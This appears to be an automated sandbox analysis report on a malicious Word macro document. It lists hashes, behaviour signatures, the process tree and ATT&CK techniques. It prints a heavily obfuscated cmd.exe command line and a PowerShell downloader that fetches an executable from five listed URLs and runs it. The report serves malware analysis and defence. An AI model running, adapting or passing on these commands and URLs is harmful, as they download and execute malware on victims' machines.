6dc235b67ec03448dd547ba027bb18ebb7131429138a85b9aaf9dc74933e1683

General

Target

d3c91738ad52ede18e7c98de0d688ee4_JaffaCakes118.doc
Size

79KB
MD5

d3c91738ad52ede18e7c98de0d688ee4
SHA1

b86e74fc6dc8d932006f3c189a743ed020cc0f77
SHA256

6dc235b67ec03448dd547ba027bb18ebb7131429138a85b9aaf9dc74933e1683
SHA512

f5dff51d938b2585f7b270a441ce23645b70906f566da72b7ea2ff1fad8beb97c257e6582657a6d84f5141172bc929388a19b9cf9c7e2af32b20a1a31226b4c1
SSDEEP

1536:vJK+lhLocn1kp59gxBK85fBt+a9pjduedt9+d5paxyN2:vJbla41k/W48jjduedt9+d5paxyQ

Score

10^/10

discovery execution

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2572	2660	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

7 2672 powershell.exe
9 2672 powershell.exe
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

2572 cmd.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Start PowerShell.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2672 powershell.exe
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE

flow	pid	process
7	2672	powershell.exe
9	2672	powershell.exe

pid	process
2572	cmd.exe

pid	process
2672	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

WINWORD.EXEcmd.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

2660 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2672 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2672 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

2660 WINWORD.EXE
2660 WINWORD.EXE

pid	process
2660	WINWORD.EXE

pid	process
2672	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2672	powershell.exe

pid	process
2660	WINWORD.EXE
2660	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 2660 wrote to memory of 2912	2660	WINWORD.EXE	splwow64.exe
PID 2660 wrote to memory of 2912	2660	WINWORD.EXE	splwow64.exe
PID 2660 wrote to memory of 2912	2660	WINWORD.EXE	splwow64.exe
PID 2660 wrote to memory of 2912	2660	WINWORD.EXE	splwow64.exe
PID 2660 wrote to memory of 2572	2660	WINWORD.EXE	cmd.exe
PID 2660 wrote to memory of 2572	2660	WINWORD.EXE	cmd.exe
PID 2660 wrote to memory of 2572	2660	WINWORD.EXE	cmd.exe
PID 2660 wrote to memory of 2572	2660	WINWORD.EXE	cmd.exe
PID 2572 wrote to memory of 2672	2572	cmd.exe	powershell.exe
PID 2572 wrote to memory of 2672	2572	cmd.exe	powershell.exe
PID 2572 wrote to memory of 2672	2572	cmd.exe	powershell.exe
PID 2572 wrote to memory of 2672	2572	cmd.exe	powershell.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d3c91738ad52ede18e7c98de0d688ee4_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2660

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:2912

C:\Windows\SysWOW64\cmd.exe
cmd /V^:^O/C"^se^t M^y=)^Z^W^$YNG^uz^i^E^sJ^SB^p^Oc^4e^x^}@^\at^[/^o^w^Q^L^IP]^jF(^g^l5r^ynq^T^k^0m^-'^2b.U^:^,^1^f^d^ ^{^h;v=^M^+&&^f^or %^2 ^in (15,^2^8,^29,^19^,4^1,^1^1,6^2,^19,^39^,^3^9^,60,^3^,7^,^11^,6^2,^65^,^50^,8,^9^,1,50,63^,3,4^,31,^8^,^6^5^,^50^,^6^2,^25,2^5,^15^,^55,^2^7^,^2^7,^59,^7^,62^,^2^8,1^7,3^8,25^,1^7,^5^3,1^7^,^2^8^,^4^8,27^,3^9,4^4,25^,^15,2^2,62,^2^5,2^5^,15,^55^,27^,27,^52,19^,1^1^,^2^5^,25,4^1^,^2^4^,^64^,19,^39,11,^53^,3^9^,^9^,^64,19,^2^7^,4^0,^1^5^,5^4^,^2^2^,6^2,2^5^,^25,^15^,55,^27,^2^7,^1^1,^24^,^9^,^1^1^,^9^,59^,5^9^,62,53,1^7^,2^8^,4^8^,^2^7,4,2^8^,^2,1^,^59,^18,^2^2,^6^2,^25,^2^5^,15,^55,^27^,2^7,9,4^3,^11,7,4^8,1^9,^2^0^,53,17,2^8,^4^8,^53^,^4^8^,^20^,2^7,8^,4^5^,66^,5^9^,^5^1^,22,^62,^2^5,2^5^,^1^5,^5^5,^2^7,^27^,3^8^,9,^24^,4^3,^38,4^3^,38^,^7^,42^,^1^9^,^4^3^,^41,19^,^2^4,^39^,53^,^1^7,28^,4^8,2^7,^45^,50,^53,1^3,1^5^,3^9^,^9,^25,^3^7,^50^,22,50^,0,^6^3^,^3^,^3^5^,^48^,^64^,65,^37,^26,13^,4^2,1^1,2^5^,1^9,^4^8,^5^3^,^3^2^,^1^6^,^5^3^,33^,24^,2^5,^6^2^,^34^,55,^55,6,1^9^,2^5,^4^5,^1^9^,^4^8,^1^5^,^33^,2^4,25,^6^2^,^37^,0^,^67,5^0,2^3^,^12,^30,9,5^3^,^19^,2^0,^1^9,50,^0^,^6^3^,3,36,46,^30,^6^0,^65^,^5^,^1^9,^29,^4^9,^1^6,^52,3^5^,^1^9,^17^,^2^5,60^,4^9^,^1^7^,^2^8^,^48,60,50^,^4^8^,^1^1,^20^,4^8^,^39,51,5^3,20,48^,^3^9^,6^2,25,25^,^1^5,^50,^6^3^,^3^,^1,^4^6^,4^8,60^,^6^5^,^6^0,^5^,^1^9^,29,4^9,16,^5^2,^35,19^,1^7^,^25,^60^,49^,^1^7^,^28^,^4^8^,6^0,^5^0^,^2^4^,5^9^,^2^8,^5^9,5^2^,5^3^,11^,25,^4^1,^19,^2^4,4^8^,^50,63,^58^,^2^8^,^4^1,19^,^2^4^,^1^7,^6^2^,^37,3,3^5^,^2^8^,44^,60,9,^4^3,60^,^3,^4,31,^8,0,61^,25,^41^,^4^2^,^61,3^,^3^6,^4^6,30^,^5^3^,^2^8,15,^19,4^3^,^3^7,50,^6,^1^0,45^,50^,^5^6,^3^,3^5,28,^4^4^,^5^6,^4^7,0,6^3^,^3,3^6,46,3^0^,53,11^,19,43,59^,^3^7,0,6^3^,^3^,1^,^46,^48^,^53,28^,1^5^,19^,^43,^3^7,0^,6^3,^3,1,46^,^4^8,^5^3,^25^,42,^1^5^,^1^9,^60^,65,^6^0^,^57^,6^3^,^3^,^1^,46^,48^,53,29^,4^1^,^9^,25^,19,37^,^3,^3^6^,4^6^,3^0,^53^,^4^1,19^,1^1,1^5^,^28,4^3,11^,^1^9,14,^2^8,59^,^42,0,63,^3,1,4^6,4^8^,^5^3^,1^1,24^,6^4,19^,25^,^28^,^58,9,^3^9,^1^9^,3^7^,3,35,^4^8^,64,0,^63,^1^3,^25^,2^4^,4^1,25,49^,^33^,4^1,^2^8^,1^7^,1^9^,11^,1^1,60,^3^,^3^5^,^4^8^,6^4^,^6^3^,52,41,1^9,2^4,46^,^2^1,^17,2^4,^2^5^,^1^7,^6^2,^6^1^,2^1,21,60^,^60^,^60^,6^0,60^,60^,6^0^,60,60,^60^,60^,6^0^,6^0,60,^60,6^0^,^60,69)^do ^s^et ^B^1=!^B^1!!M^y:~%^2,1!&&^if %^2=^=^69 c^a^l^l %^B^1:*^B1!^=%"
2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell $ush='ziZ';$YLz='http://duhocgtc.com/lqtp@http://besttravels.live/5pU@http://saisiddh.com/YoWZd4@http://insumex.com.mx/zTMd2@http://giangnguyenreal.com/T'.Split('@');$jmv=([System.IO.Path]::GetTempPath()+'\JQi.exe');$FkQ =New-Object -com 'msxml2.xmlhttp';$Zkm = New-Object -com 'adodb.stream';foreach($joq in $YLz){try{$FkQ.open('GET',$joq,0);$FkQ.send();$Zkm.open();$Zkm.type = 1;$Zkm.write($FkQ.responseBody);$Zkm.savetofile($jmv);Start-Process $jmv;break}catch{}}
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2672

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
Filesize
19KB

MD5
2c7be22cec7fb9aba52db13ec9fce84f

SHA1
82ba8b5262d8348e0add74ede565e6065401c4d5

SHA256
cf29639e47e72e8674bf7af43ada3e67305d264b5c193d14001b895e0758953a

SHA512
6d2331a6fc7df533c637c7aceac6891e0f4b7363f0124ec2fc5502dee8e3c33e88caddb54392ba9c683c8c597c157c9c4b0e5fa0972aa9f3384e9b021e6010c8

Download Submit
memory/2660-7-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-8-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-5-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-10-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-4-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-11-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-2-0x000000007140D000-0x0000000071418000-memory.dmp

Filesize
44KB

Download
memory/2660-0-0x000000002F711000-0x000000002F712000-memory.dmp

Filesize
4KB

Download
memory/2660-9-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-6-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-15-0x000000007140D000-0x0000000071418000-memory.dmp

Filesize
44KB

Download
memory/2660-16-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-17-0x00000000004E0000-0x00000000005E0000-memory.dmp

Filesize
1024KB

Download
memory/2660-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2660-37-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2660-38-0x000000007140D000-0x0000000071418000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads